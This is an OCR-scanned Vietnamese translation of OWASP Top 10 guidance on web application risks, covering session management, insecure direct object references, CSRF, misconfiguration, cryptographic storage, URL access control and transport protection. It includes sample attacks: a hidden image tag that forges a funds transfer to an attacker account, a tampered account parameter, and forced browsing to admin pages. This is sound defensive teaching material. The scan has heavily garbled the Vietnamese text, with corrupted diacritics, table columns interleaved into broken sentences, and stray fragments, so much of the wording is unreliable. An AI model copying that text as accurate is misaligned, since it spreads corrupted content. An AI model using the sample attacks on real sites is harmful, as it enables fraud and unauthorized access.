Toi c6 mac phai l6i?

Théng tin tai khoan va phién lam viéc 1a nhitng thit can duoc
bao vé. Xem A7.

1. Thoéng tin c6 thé bi doan ra hodc thay thé vi nhitng diém
yéu trong cac chuong trinh quan Iy tai khoan hay khéng ?

2. ID phién lam viéc c6 hién thj trong URL khéng?

3. ID phién lam viéc cé thé bj gid mao bang cic phuong
phap dinh hinh phién lam viéc hay khong?

4. 1d phién lam viéc cé thoi gian ché va ngudi dung cé thé
dang xuat khéng?

5. Id phién lam viéc cé thay d6i sau khi nguwdi dung ding
nhap lai khong?

6. Password, Id phién lam viéc va nhitng thong tin khac cé
duoc glri di st dung TLS connection khdng ? Xem A9.

Xem ASVS phan nhitng yéu ciu V2 va V3 dé biét thém chi tiét.

Lam cach nao dé chéng?

Phuong phap dugc khuyén khich cho mét t6 chirc 1a cho
phép ngudi phat trién (ng dung truy cap:

1. Mét tap hop nhirng phuong thirc quan ly dinh danh
manh. N6 cho phép::

a) bDép ng tat ca nhirng yéu ciu cla kiém tra dinh
danh duogc dinh nghia trong OWASP’s Application
Security Verification Standard (ASVS) phan V2
(chirng thue) va V3 (quan ly phién lam viéc)

b) C6 mo6t giao dién don gian cho ngudi phat trién (ng
dung. Hay xem xét ESAPI Authenticator and User
APIs nhu mét vi du dién hinh cho viéc s&t dung, phat
trién

2. Ciling nén nd lyc nhiéu dé tranh bj &n cap phién lam viéc
qua l6i XSS , Xem thém A2.

Vi du tinh huéng tan céng

Kich ban 1: Ung dung d&t vé may bay cho phép viét lai URL,
dat id phién lam viéc trong URL

http://example.com/sale/saleitems;jsessionid=
2P00C2JDPXMOOQSNDLPSKHCJUN2JV?dest=Hawaii

Mét ngudi dung muén cho ban cla anh ta biét vé viéc ban vé.
Anh ta email lién két trén ma khong biét anh ta dang gti id
phién lam viéc cia minh. Ngudi ban clGa anh ta s& dung lién
k&t d6 c6 thé sir dung phién lam viéc va ca thé tin dung.

Kich ban 2: Thoi gian cho cta (ng dung khong dugc chinh
hop ly. Nguwdi dung st dung mot mdy cong cong dé truy cap
vao trang web. Thay vi chon “dang xuat” anh ta chi déng trinh
duyét va di. Mot ngudi khac str dung cling trinh duyét doé vai
gi®r sau van cé thé s&r dung phién lam viéc d6.

Kich ban 3: Ngudi ndi bd hoac ké tn cdng c6 quyén truy cap
dén co s dit liéu luu trir password. Password khéng dugc ma
hoéa cho phép ké tan cong &n cap duoc nhitng tai khoan dé.

Nguon tham khdo

OWASP

DE c6 thém thong tin ddy dl vé nhitng yéu cau va van dé can
tranh, xem ASVS requirements areas for Authentication (V2)
and Session Management (V3).

* OWASP Authentication Cheat Sheet

* ESAPI Authenticator API

* ESAPI User API

* OWASP Development Guide: Chapter on Authentication

* OWASP Testing Guide: Chapter on Authentication

Nguén khac
* CWE Entry 287 on Improper Authentication
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Hay xem xét cac loai
ngudi dung khac
nhau trong hé
théng cda ban. Liéu
c6 ngudi dung nao
chi cé moét phan
quyén truy cap dén
cac loai dit lieu
trong hé théng ?

toan

Hwéng
tan cong

Ké tan codng, 1a mot
nguwoi dung trong
hé théng, c6 thé
thay d6i mot tham
s6 rng véi mot doi
tugng hé théng nao
d6 ma han khong cé
quyén truy cap dén.
Liéu viéc truy cap co
thanh cong hay

Piém yéu
bdo mat

Mdrc do pho bién
Trung binh

Ung dung thudng xuyén st dung truc ti€p tén
hodc khoa clia mét d6i twong khi xay dung cac
trang web. Céc ¢ng dung thuong khong kiém
tra néu ngudi dung nay that sy cé quyén truy
cap hay khong. Pay chinh 1a mau chot dan dén
16i cac ddi twong tham chidu. Ngudi kiém tra
c6 thé dé dang thay ddi cac gia tri tham s6 dé
phat hién ra 16 hdng nay, phan tich ma ngudn
c6 thé gitp ta nhanh chéng phat hién quyén
truy cdp cé duwoc xem xét can than hay khoéng.

Anh hwén
ky thuat

Anh hwéng
Trung binh

LSi nhu thé cé thé
gitp ké tan cong nam
quyén toan bd nhirng
dir liéu cé thé duoc
lien két bai cac tham
bién. Trir khi khdng
gian truy cap roi rac,
ké t&n cong c6 thé
truy cap tat ca céc loai
di? liéu nhu thé.

Poi two'ng tham chiéu thiéu an

Anh hwéng
Kinh doanh

Ta can can nhac dén
gia tri cGia nhirng hé
théng va dit liéu bj
anh huéng.

Cting nén can nhac
dén tac dong kinh
té& cha viéc 16i nay bj
trinh bay trudc
cong luan.

khong?

T6i c6 mac phai 16i?

Cach t6t nhat dé biét xem mot ng dung cd bj 16i nay hay

khong 13 kiém tra néu tat ca cac d6i twgng tham chiéu cé

duoc bdo vé hop Ii khdng. P dat dugc diéu nay, xem xét :

1. D&ivdicac lién két tryc tiép tdi cac dit liéu can bao vé,
(rng dung can phai kiém tra xem ngudi dung dang yéu
cau c6 dugc cho phép quyén truy cap dén di liéu dé hay
khong

2. Ne&u lién két 13 mot tham bién gian tiép, viéc chuyén bién
dén dit liéu truc tiép phai dwoc gidi han bai nhirng gid tri
cho phép d6i v&i ngudi dung hién tai

Ki€ém tra m3 ngudn cla ng dung cé thé nhanh chdng phat

hién néu mét trong 2 phuong phap trén khdng duoc thiét ké

can than. Chay kiém tra ciing c6 thé hiéu qua trong viéc phat

hién nhitng d6i twong khéng an toan. Nhitng cong cu ty déng
thuwong khong thé tim ra 16i nay vi rat khé dé xac dinh cai nao
can bao vé va nhu thé nao |a an toan / thiéu an toan.

Lam cach nao de chong?

Viéc ngén chén 16i d6i twgng tham chiéu thiéu an toan yéu

cau xac dinh mét cach bao vé cac déi twgng ma ngudi dung

c6 thé truy cap ( s6/tén cla d6i tuong )

1. S& dung mai lién két dai twgng cho tirng ngudi dung
hodc phién lam viéc. Viéc nay cé thé ngdn chan ké tan
cong nham dén céc dit liéu khong duoc bao vé. Viduy,
thay vi st dung khéa co s& dit liéu, mot danh sach cho
phép Iwa chon cé thé duwgc danh s6 tir 1 dén 6 dé xac
dinh lya chon nao ngwoi ding mudn truy cap. Ung dung
sau d6 sé phai bién d6i tir tham bién gian ti€p dén khoa.
OWASP’s ESAPI bao gbm ca 2 kiéu truy cap ngudi phat
trién cd thé sir dung dé triét tiéu tham chiéu truc tiép.

2. Kiém tra truy cap. D6i v&i mdi tham chiéu tryc tiép tir
mot ngudn khdng xac thyc phai dwoc kiém tra diéu khién
dé chac chan rang nguoi dung dugc quyén truy cap dén
doi tuwgng yéu cau.

Vi du tinh huong tan cong
Ung dung st dung dit liéu chwa dugc kiém tra trong mot truy
van SQL truy cap dén thdng tin tai khoan:

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =
connection.prepareStatement(query, ... );

pstmt.setString( 1, request.getparameter("acct"));

ResultSet results = pstmt.executeQuery( );
Ké tan cong cé thé dé dang thay d6i tham s& ‘acct’ trong trinh
duyét clia hdn dé xem bat ctr thong tin tai khodn nao han
muén. N&u khong kiém dinh ké tan cdng c6 thé |gi dung dé an
cap tai khoan cla bat ki ai thay vi chi dwoc truy cap vao mot
s6 tai khoan nhéat dinh.
http://example.com/app/accountinfo?acct=notmyacct

Nguon tham khdo

OWASP

* OWASP Top 10-2007 on Insecure Dir Object Reference
» ESAPI Access Reference Map API

* ESAPI Access Control API (See isAuthorizedForData(),
isAuthorizedForFile(), isAuthorizedForFunction() )

D& c6 thém théng tin vé yéu cau quan ly truy cap, xem thém
ASVS requirements area for Access Control (V4).

Nguon khac
* CWE Entry 639 on Insecure Direct Object Reference

* CWE Entry 22 on Path Traversal ( vi du clia Direct Object Reference
attack)
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Tac nhan de doa

B4t clr ai cling c6
thé Ilra ngudi dung
cla ban glri yéu cau
dén website. Bat ci
website hoac HTML
feed ma nguoi dung
c6 thé truy cap dén
déu cd thé bij sty
dung.

Hwéng
tan cong

Kha nang khai
thac
Trung binh

Ké tan cong co thé
gid mao mot yéu
cau HTML va llra
nan nhan gl chdng
di qua cac thé hinh
anh, XSS, hodac rat

nhiéu ki thuat khac.

Né&u nguwdi dung da
duwoc xac thuec, viéc
tan cong s& thanh
cong.

Toi c6 bi mac phai CSRF?

Céch dé nhat dé kiém tra xem (ng dung c6 bj 16i hay khong la
xem xét néu mdi duong lién két hay form chira nhitng gia tri
khong thé doan dugc cho mdi ngu‘ofl st dung Néu khong co
nhitng gia tri nhu vay, ké tan cdng cé thé gid mao bat cir yéu
cau nao. Tap trung vao lién két va form thuc hién nhitng chirc
nadng thay déi trang thdi bai vi nhitng thi 8y thudng la déi

tuong tan céng cla CSRF.

Nén kiém tra nhu‘ng giao dich co nhiéu budc vi chung cling
khong pha| mién nhiém véi |6i nay Ké tan cong cé thé dé
dang gid mao mét day céc yéu cau sir dung nhiéu thé (tags)

hoac javascript.

Lwu y rang cookie phién lam viéc, dia chi IP, nhitng thong tin
ma tw dong glti bdi trinh duyét web khong duoc tinh vi
nhitng théng tin nay s& dwoc glti kém trong nhirng yéu cau
gia mao Cong cu CSRF Tester clia OWAPS c6 thé gilp tao ra
céc trvong hop khac nhau thé hién sy nguy hiém cla CSRF.

Piém yéu
bdo mat

CSRF lgi dung trng dung web cho phép ké
tan cong dodn duwoc tat cd nhirng chi tiét
cla mdt hanh vi nao dé

Vi trinh duyét glti nhitng théng tin nhw
cookie phién lam viéc tu dong, ké tan
cong co thé tao nhirng trang web déc ma
tao nhirng yéu cau gia khéng khac biét so

v&i nhirng trang thuc

Viéc phat hién CSRF tuong déi dé qua viéc
tan cong thir nghiém hodc phan tich m3

nguon.

Gia mao yéu cau
(CSRF)

Anh huond Anh hwéng
ki thuat Kinh doanh

Anh hwéng
Trung binh

Ta can can nhac dén
gia tri cha nhirng hé
théng va dit liéu bi
anh hudng.

Ké tan cong co thé
khi€n nan nhan thay
d6i dit liéu ma nan
nhan dugc phép
thay d6i hodc thuc
thi nhitrng chirc
nang ma nan nhan
duoc phép thuyc thi.

Cling nén can nhic
dén téc dong kinh
té cha viéc |6i nay bj
trinh bay trudc
cong luan.

Lam cach nao dé chong CSRF?

Ngan chan CSRF yéu cau nhirng gia tri khong doan dugc trong

than cha URL hodc yéu cau HTTP. Nhirng gid tri d6 nén & mirc

t&i thiéu la riéng biét cho tirng phién lam viéc cla ngudi dung,

nhung cling cé thé riéng biét tirng yéu cau.

1. Khuyén khich thém vao nhirng gia tri riéng biét trong mét
trwdng an. N6 gilip gia tri d6 dwoc gl di trong yéu cau
HTTP, tranh viéc phai thém nd vao trong URL

2. Nhirng gia tri riéng biét d6 cé thé dwoc thém vao qua
URL hodc tham s6 cGia URL. Tuy nhién nhitng tham sé
nhu vay cé nhitng rdi ro nhu viéc Iam cho ké tan céng
biét va tim cach qua mat.

CSRF Guard cé thé gilp tw dong thém vao nhirng gia tri nhu

vay trong &rng dung Java EE, .NET, hay PHP

ESAPI cia OWAPS c6 chirc ndng tao ra va kiém tra nhirng gia

tri nhu vay ma nguoi phat triénldp trinh vién co thé str dung

dé bao vé cic giao dich

Vi du tinh huong tan cong

Ung dung cho phép nguoi dung gt di nhiing yéu cau thay doi

trang thdi ma khong cé nhirng gia tri bi mat. Nhuv la:
http://example.com/app/transferFunds?amount=1500

&destinationAccount=4673243243

Nhu thé ké tan cong cé thé tao ra nhirng yéu cau glri tién tir
tai khoan ctia nan nhan dén tai khoan cla ching va kém
ching trong nhirng thé hinh anh hoac iframe va dua ching
I&n mang qua cac website ma ké tan cong diéu khién.
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#*

width="0" height="0" />

Né&u nan nhan truy cip vao bat cl trang web nao trong khi
dang c6 phién lam viéc tai example.com yéu cau gid mao nay

duoc thyc thi thanh céng.

Nguon tham khao

OWASP

* OWASP CSRF Article

* OWASP CSRF Prevention Cheat Sheet

* OWASP CSRFGuard - CSRF Defense Tool

* ESAPI Project Home Page

» ESAPI HTTPUtilities Class with AntiCSRF Tokens
* OWASP Testing Guide: Chapter on CSRF Testing
* OWASP CSRFTester - CSRF Testing Tool

Nguén khac
* CWE Entry 352 on CSRF
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Sai sot cau hinh an ninh

O
Hwéng Diém yéu Anh hwén Anh hwéng
Je doa tan coéng bao mat ky thuat Kinh doanh
Mdrc do pho bién Anh hwéng
Trung binh Trung binh

Toan bd hé théng
c6 thé bi chiém ma
ban khong thé biét.
T4t ca dit liéu co thé
nhitng chirc nang bi danh cap hodc
hay dit liéu hé thay d6i tir tir qua
théng. Thinh thodng  thoi gian

16i nay cling c6 thé
gilp ké tan cong
chiém toan bo hé

L&i nhu vay thudng
cho ké tan céng
quyén truy cap bat
hop phap dén

C6 thé 1a nhitng ké
tan céng nac danh
tlr phia ngoai, hoac
nguwoi nguoi dung
s& hiru tai khoan
muon kiém soat hé
thong. Cling nén
can nhac nhitng déi
tugng ndi bd mudn
che d3u hanh déng.

Sai s6t trong cdu hinh an ninh cé thé xay ra &
bat ki cAp d6 (rng dung nao, bao gdm: nén
tang, mdy chd web, may chl (rng dung, cac
khudn mau hay cac doan ma tly chinh. Nguoi
phét trién va nha quan tri mang can phai lam
viéc cuing nhau dé dam bao rang tirng |ép
duwgc chinh mét cach ding dan. Nhitng cong
cu quét tu dong cling cé thé hitu ich trong viéc
phét hién nhirng ban v4 16i bj thiéu, sai sét
trong cdu hinh hodc st dung nhitng tai khoan

Ké tan coéng st dung
tai khoan tai khoan
mac dinh, trang web
khéng duoc st dung,
16i bdo méat chwa duoc
va, tap tin va thu muc
khéng duoc bao vé dé
thu thap thong tin
hodc truy cap hé
théng mot cach bat

Viéc stra chita sai
sot c6 thé rat ton
kém.

hop phap.

méc dinh, nhitng dich vu khéng can thiét.

théng.

T6i c6 mac phai 16i?

Ban d3 thuyc hién viéc bao vé an ninh cho tirng I&p (rng dung

chua?

1. Ban d3 c6 mot quy trinh dé gitr cho céc phan mém duoc
cap nhat? Bao gbm HDH, May chi web, DBMS (hé quan
ly dit liéu), 'ng dung, va tat ca céc thu vién m3

2. Liéu nhitng th khéng can thiét cé duoc tat hodc xda di
khoéng ? (c6ng mang, dich vy, trang web, tai khoan)

3. Céc tai khodn mac dinh da duoc vé hiéu hay duogc thay
déichua ?

4. Nhirng phan xtr ly 16i cé dwoc thiét lap dé tranh ro ri
nhitng d4u vét stack hay nhitng thong tin 16i qua cu thé?

5. Ban c6 hiéu ré va cau hinh mét cach thich hgp nhitng
thiét 1ap an ninh trong céc khuén mau (Vi duy: Struts,
Spring, ASP.Net) va thu vién dung dé phat trién?

Nén c6 mot quy trinh phéi hop va l3p di 13p lai dé phat trién

va duv i mat cAn hinh an ninh 1¥ns duns nhithaon

Lam cach nao dé chong ?

Chung t6i khuyén khich thiét ap tat ca nhitng th sau:

1. Mot tién trinh bdo mat co thé dé dang lap lai giup cho
viéc trién khai trén méi trudng khac nhanh chéng va dé
dang, nén duoc thiét |ap giong nhau, nén dugc ty dong
dé giam thiéu cong strc thiét [ap mot moi trwdng mdi an
toan

2. M6t tién trinh cho viéc cap nhat va trién khai tat ca
nhitng ban nang cip va ban va cla phan mém mot cach
dinh ky d6i véi moi méi truong duoc trién khai. N6 ciing
bao gébm ludn nhitng thuw vién chuong trinh thudng bi bo
qua.

3. M0t kién tric &ng dung virng chac cé thé phan tach va
bao vé céc thanh phan riéng biét

4. Hay xem xét viéc chay chwong trinh quét va kiém tra dinh
ki d€ phat hién nhitng cdu hinh sai hodc nhitng ban va
thidy

Vi du tinh huong tan cong

Kich ban 1: U'ng dung clia ban phu thudc vao 1 nén tang phét trién
manh nhu Struct or Spring. L8i XSS dwoc phat hién trong nhitng
phan ma ban phu thudc. M6t ban va duoc phat hanh nhung ban d3
bd qua. Ké tan cong cé thé lgi dung 16i d6 bat ct ltic nao néu ban
con chua cdp nhat.

Kich ban 2: Giao dién diéu khién mdy chl cla quan trj vién duoc tu
dong cai dat va khong duoc g& bo. Tai khoan mac dinh chua dugc
thay d6i. Ké t&n cong phat hién ddng nhap vdi tai khodn mac dinh va
chiém quyén diéu khién hé théng.

Kich ban 3: Chirc ndng liét ké thu muc chwa dugc vo hiéu hda Ké tan
cong phat hién va han cé thé liét ké cac tap tin trong thu muc va tim
tap tin hdn mudn. Vi du nhitng tap tin Java class cGia ban, han dich
ngugc vé ma ngudn va tim ra nhitng 16 hdng nghiém trong trong do.
Kich ban 4: Cau hinh may chl cho phép ngudi dung xem cac dau vét
stack, diéu nay cé thé dé 16 nhitng 16 hdng bao mat. Ké tan cong rat
thich nhitng thong tin duwoc thém vao trong nhitng thong diép bao
16i nhu vay.

Nguon tham khdo

OWASP

* OWASP Development Guide: Chapter on Configuration

* OWASP Code Review Guide: Chapter on Error Handling

* OWASP Testing Guide: Configuration Management

* OWASP Testing Guide: Testing for Error Codes

* OWASP Top 10 2004 - Insecure Configuration Management

DE& thém thong tin vé 1anh virc nay xem ASVS requirements
area for Security Configuration (V12).

Nguon khac

* PC Magazine Article on Web Server Hardening

* CWE Entry 2 on Environmental Security Flaws

* CIS Security Configuration Guides/Benchmarks
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A7

Hay xem xét dén
nhirng nguoi st
dung hé théng cla
ban. Liéu ho cé
mudn truy cap vao
dit liéeu mat ma ho
khéng duoc uy
quyén khéng? Quan
tri vién ndi bo cling
khong ngoai lé.

Hwéng
tan cong

Kha nang khai
thac
Khé

Thong thuwong, nhitng
ké tan cong khong bé
mat ma ma pha hoai
nhitng thit khac:
chang han tim céc
khoa, 1y cic ban sao
di liéu khong duoc
ma hda, hodc truy cap
di liéu qua cac kénh
c6 thé ty dong gidi
ma.

Piém yéu
bdo mat

Kha nang phat
hién
Khé

Mdrc do phé bién
Khong phé bién

Sai [am phé bién 1a khéng ma héa cac dit liéu can
dugc m3 hoa. Khi m3 héa duoc st dung, van dé
Iwu trir va sinh khéa khong an toan, khoéa khong
duoc thudng xuyén thay déi hay cach sir dung
thuat toan yéu thuong xay ra. S& dung mat khau
dé doan hoic thuat todn bdm ma ma khong thém
ky tw ngdu nhién cting 1a mot |6i phd bién. Ké tan
cong tr bén ngoai thwong gap kho khan trong
viéc phat hién 16i do quyén truy cap han ché.
Chung thudng phai khai thac cac khia canh khac
trwdc khi dat dwoc quyén truy cap can thiét.

Anh hwén
ky thuat

Nhém 16 héng nay
thudng gdy anh
huwéng |1én tat ca cac
dir liéu can duoc
ma hoéa. Thong
thudng thong tin
nay bao gébm céc dir
liéu nhay cdm nhuw
hé so'y té, thong
tin, dt* liéu ca nhan,
thé tin dung, v.v...

Lwu trir mat ma khong an toan

Anh hwéng
Kinh doanh

Hay xem xét gid tri kinh
doanh cla céc dit liéu
bi mat va mirc do anh
hudng cda nhitng dir
liéu nay tdi danh tiéng
cla ban. Ban s& phai
chiu trach nhiém phap
Iy gi néu nhitng dir liéu
nay bi 16 ra? Déng thoi
xem xét cdc thiét hai
t&i danh tiéng cla ban

Toi c6 mac phai 16i?

Diéu dau tién ban phai xac dinh 13 thong tin nao nhay cdm

dén mrc can phai yéu cau bdo mat. Vi du: mat khiu, thé tin

dung, h6 so'y té, va cac thong tin cd nhan nén dugc ma hoa.

DGi Vi tat ca cac dir lidukiéu nhu vay, bao ddm rang:

1. Nhirng théng tin duogc lwu trir 1au dai phai dwgc ma hoa,
dac biét trong ban sao luu cac dit liéu nay.

2. Chi nhi*tng ngudi dwoc Gy quyén cd thé truy cap cac ban
sao dugc giai ma cha dir liéu (Xem A4 va A8).

3. sirdung mot thuat toan ma héa manh va duogc xay dung
theo tiéu chuan.

4. Mot khéa manh dugc tao va duoc bao vé dé tranh
nhi*ng truy cap trai phép. Mot ké hoach thay ddi
khéadinh ky phai dwoc du tru.

P& céd mdt cai nhin hoan chinh hon vé cac van dé can tranh,

xem ASVS requirements on Cryptography (V7).

Lam cach nao de chong?

Danh sach day du cac nguy co bdi cac mat ma khdng an toan vuot ra

ngoai pham vi kha ndng cta van ban Top 10. Vi vy dé dat dwoc muc

dich an toan cho tat ca céc di¥ liéu quan trong can duwgc ma héa, ban
phai it nhat thyc hién tat ca nhitng diéu sau day:

1. xem xét cac nguy co de doa tdi s bao méat cta cac dir liéu (vi
du: tan cong tir bén trong, ngudi st dung bén ngoai), chac chan
ban ma hda tat ca dir liéu con lad trang thai luru trit i theo cach
thirc dé bao vé chéng lai cdc m6i de doa nay.

2. cacban sao luu trit offsite cling dwgc ma hda, chia khoda clia céc
ban sao lwu nay phai duoc quan ly va sao luu riéng biét.

3. dam bdo céc thuat todn manh theo tiéu chuan va cac khda m3
manh duwoc st dung, viéc quan ly cac khéa ma nay cling can
duoc luu tam.

4. dam bdo mat khdu dugc bam theo tiéu chuan cia mot thuat
toan manh va cé d6 phirc tap nhat dinh.

5. dam bdo tat ca cac khda va mat khau duoc bao vé khoi nhiing
truy cap trai phép.

Vi du tinh huong tan cong

Kich ban 1: M3 hda thé tin dung trong co s& dit liéu dworc st dung
dé& ngén chan viéc thong tin bi 16 ra v&i ngudi st dung. Tuy nhién, co
s& dit lidu lai dwoc thiét 1ap dé tw dong giai ma cac truy van déi vdi
cot lru thé tin dung,didu nay cho phép kiéu tan cdng SQL Injection
thu thap dugc théng tin thé tin dung & dang khéng ma hda. Thuc
chat hé thdng nay can phai duoc thiét 1ap sao cho nhitng théng tin
chi duoc gidi ma & nhirng (ng dung phia trong, khdong phai tir nhirng
rng dung web bén ngoai

Kich ban 2: Mot ho so sirc khde duwoc ma hda va dugc sao luu lai
trén mot cudn bang, nhwng ma khda cda ho so cling dwoc luu trén
ban sao dé. Cudn bang da khong bao gi& dén dwoc trung tam lwu
trir.

Kich ban 3: mét co s& dit liéu vé mat khau sir dung unsalted hashes
dé lwu trir mat khau cla moi ngudi. Mot 16i tai file d3 dwoc tan dung
b&i tin tac dé 18y cac tap tin mat khau. T4t ca unsalted hashes bi giai
ma3 chi trong vong 4 tuan, trong khi d&i vdi nhitng hashes néu dugc
tao ra dung cach (with salt) viéc gidi m3 sé phai mat hon 3000 ndm.

Nguon tham khdo

OWASP

DE c6 thém thong tin ddy di vé nhitng yéu cau va van dé can
tranh, xem ASVS requirements on Cryptography (V7).

* OWASP Top 10-2007 on Insecure Cryptographic Storage

* ESAPI Encryptor API

* OWASP Development Guide: Chapter on Cryptography

* OWASP Code Review Guide: Chapter on Cryptography
Nguon khac

* CWE Entry 310 on Cryptographic Issues

* CWE Entry 312 on Cleartext Storage of Sensitive Information
* CWE Entry 326 on Weak Encryption



http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storage
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encryptor.html
http://www.owasp.org/index.php/Guide_to_Cryptography
http://www.owasp.org/index.php/Codereview-Cryptography
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/310.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/312.html
http://cwe.mitre.org/data/definitions/326.html

Hwéng
tan cong

Sai sot han ché truy cap

Mdrc d6 pho bién

Khéng phd bién

Ké t&n cong cd thé 1a
mot ngudi duoc cap

B4t c ai truy cap
mang déu cé thé guri
don yéu cau tdi 'ng  quyén trong hé théng,
dung cta ban. Liéu thay d6i URL dén mot
nguwoi dung nac danh trang can quyén cao
c6 thé truy cac trang
n6i bo hay nguoi
dung binh thuong cé  cé dwoc chap thuan? Ai
thé truy xuat nhitng  ciing c6 thé truy cap
trang vurot qua céc trang tin cd nhan
quyén cda minh. khong duogc bao vé.

Cac trng dung thuong khéong duoc tao ra
dé bdo vé cac yéu cau truy cip trang ding phép ké tan céng
cach. Thinh thoang, viéc bao vé duong
dan duogc quan ly thdng qua ciu hinh, va
ddi khi hé théngbi cadu hinh mét cach sai
hon duoc truy cap. Liéu sOt. Cac |ap trinh vién cling d6i khi quén
nhitng truy cap nhw vay tich hgp nhitng m3 kiém tra.

Phat hién nhitng 16i nhw vay khong kho.
Phan kho nhat la xdc dinh nhitng trang
(URL) tén tai dé tan cong.

Anh hwén A'?h hwong
K§ thuat Kinh doanh
Kha nang phat Anh hwéng
el Trung binh
Trung binh &

Hay xem xét gia tri
kinh doanhkhi dir
liéu va cac chirc
nang duoc xt ly bi
16. Déng thoi xem
xét cdc tac dong
dén danh tiéng cua
ban néu diém yéu
nay d3 trd thanh
thong tin duoc cong
b6 rong rai.

Sai sét nhu vay cho

truy cap trdi phép
vao mot s6 chirc
nang can dugc bao
vé. Nhitng chirc
nang quan tri la
muc tiéu chinh cho
kiéu tan cong nay.

Toi c6 mac phai 16i?
C4ch t6t nhat dé biét néu mot ng dung cé han ché ding cac
truy cap URL hay khong |a xac minh t4t ca cac trang. V&i moi
trang, tim hiéu muc dich trang 13 danh cho céng khai hay
riéng tu. Néu la mot trang cd nhéan:
1. Liéu chirng thyc cé can thiét dé truy cip vao trang d6?
2. Liéu trang c6 cung cap quyén truy cap cho TAT CA nguoi
dung xac thuc dwoc? Néu khéng, cé cAn mot xac minh dé
dam bao ngudi dung c6 quyén mdi duoc truy cap trang
dé?
Nhirng bién phdp an ninh bén ngoai cung cdp chirng thyc va
nhitng kiém tra xac minh dé truy cap trang. Xdc minh ching
duwoc cau hinh ding cho mbi trang. Néu ma bao vé theo cap
d6 duoc st dung, xdc minh rang m3 bao vé duoc dat ra cho
mdi trang can thiét. Mot cudc tTham nhap thir nghiém nén
duwoc thyc hién dé xdc minh chat lvgng cla cac |dp bao ve.

Lam cach nao de chong?

Ngan chan truy cap trai phép doi hdi viéc chon lya mot cach

can than dé yéu ciu xac thyc va xadc minh mot cach phu hgp

cho mdi trang. Thong thudng, sw bao vé dé duoc cung cap

b&i mot hay nhiéu nhan t6 khac ngoai ma &rng dung. Bt ké co

ché& naoduwoc st dung chiing nén tuan theo cac chi dan sau:

1. t&tca cac quy dinh vé xac minh va chirng thyc can thiét
dya trén chirc ndng, dé gidm thiéu cac nd luc can thiét dé
duy tri cac quy dinh nay.

2. quy dinh nén c6 kha ndng ciu hinh cao, dé giam thiéu bat
ky thiét |ap cirng nao trong quy dinh.

3. nhitng co ché bat budc phai tuan theo nén tir chdi tat ca
cac truy cdp mac dinh, yéu cau xac minh rd rang cho tirng
nguoi st dung va vai tro clia ngudi truy cdp mdi trang.

4. néu trang la mot phan clia mot quy trinh cdng viéc, dam
bado céc diéu kién dang & trang thai thich hop dé cho

nhén truyv can

Vi du tinh huong tan cong

Ké tan cong don gidn nham muc tiéu vao cac URL. C3 hai URL sau day

la déu yéu cau chirng thyec. Quyén quan tri cling phai can dwoc cung

cap dé truy cap vao trang "admin_getappinfo":
http://example.com/app/getappinfo

http://example.com/app/admin_getappinfo
Né&u ké tan cong khong duoc chirng thuc ma van cé thé truy cap vao
trang, thi d6 goi la truy cap trai phép d3 dugc cho phép. Néu mot
nguoi st dung duoc chirng thuc, nhung lai khéng phai trong ban
quan tri, van truy cap duoc vao trang "admin_getapplinfo", day la
mot 16 hdng cho cac ké tan cong truy cip vao cac trang quan tri
khong duwoc bdo vé mot cach ding dan.
Nhitng 16 hdng nhu vay thuong dugc phat hién ra khi xuat hién cac
duwong lién két va ndt bAm ma théng thuong khdng duoc hién thi
cho nguoi st dung binh thuwong, dé 1a khi rng dung d3 that bai trong
viéc bao vé trang web ma ho nhdm dén.

Nguon tham khdo

OWASP

* OWASP Top 10-2007 on Failure to Restrict URL Access
* ESAPI Access Control API

* OWASP Development Guide: Chapter on Authorization
* OWASP Testing Guide: Testing for Path Traversal

* OWASP Article on Forced Browsing

DE c6 thém théng tin vé yéu cau quan ly truy cap, xem thém
ASVS requirements area for Access Control (V4).

Nguén khac
* CWE Entry 285 on Improper Access Control (Authorization)



http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://www.owasp.org/index.php/Top_10_2007-Failure_to_Restrict_URL_Access
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html
http://www.owasp.org/index.php/Guide_to_Authorization
http://www.owasp.org/index.php/Testing_for_Path_Traversal
http://www.owasp.org/index.php/Forced_browsing
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/285.html

Hwéng

de doz tan cong bao mat

Kha nang khai
thac

Khé Trung binh

Nhitng ai c6 thé
theo doi lvu lwvgng
mang cla ngudi sd
dung chuong trinh.
Néu |a ing dung
trén Internet, dé la
nhitng ngudi biét
ngudi sit dung truy
cap nhu thé nao.
KHOng loai trir cac
két néi dau cudi.

Gidm sat luu lvong
mang cta ngudi st

nhung doi khi lai d&
dang. Khé khan chd
y&u nam trong viéc
theo doi nhirng lwu

khi nguoi dung truy
cap vao trang web
khéng an toan.

Mdrc do pho bién

Cac irng dung thuong khéng bao vé lvu
lwgng mang. Phan I&n cac irng dung chi sy nguwi dung c6 thé bi
dung c6 thé khé khan, dung SSL/TLS trong qua trinh xac thyc va

Thiéu b3o vé I&p van chuyén

Anh hwéng
Kinh doanh

Anh hwén
Ky thuat

Anh hwéng
Trung binh

Xem xét gia tri kinh
doanh cla nhitng
danh cip. Néu tai khoan  dit liéu bi phoi bay
